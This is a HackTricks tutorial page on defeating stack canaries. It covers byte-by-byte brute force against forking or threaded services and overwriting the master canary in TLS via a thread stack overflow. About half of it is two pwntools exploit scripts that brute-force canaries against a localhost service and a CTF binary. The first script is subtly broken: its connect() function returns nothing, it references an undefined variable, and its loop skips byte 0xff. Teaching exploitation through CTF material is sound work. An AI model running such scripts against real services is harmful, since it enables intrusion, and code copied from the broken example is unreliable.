# BF Forked & Threaded Stack Canaries
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
{% endhint %}
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
## Other examples & references
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.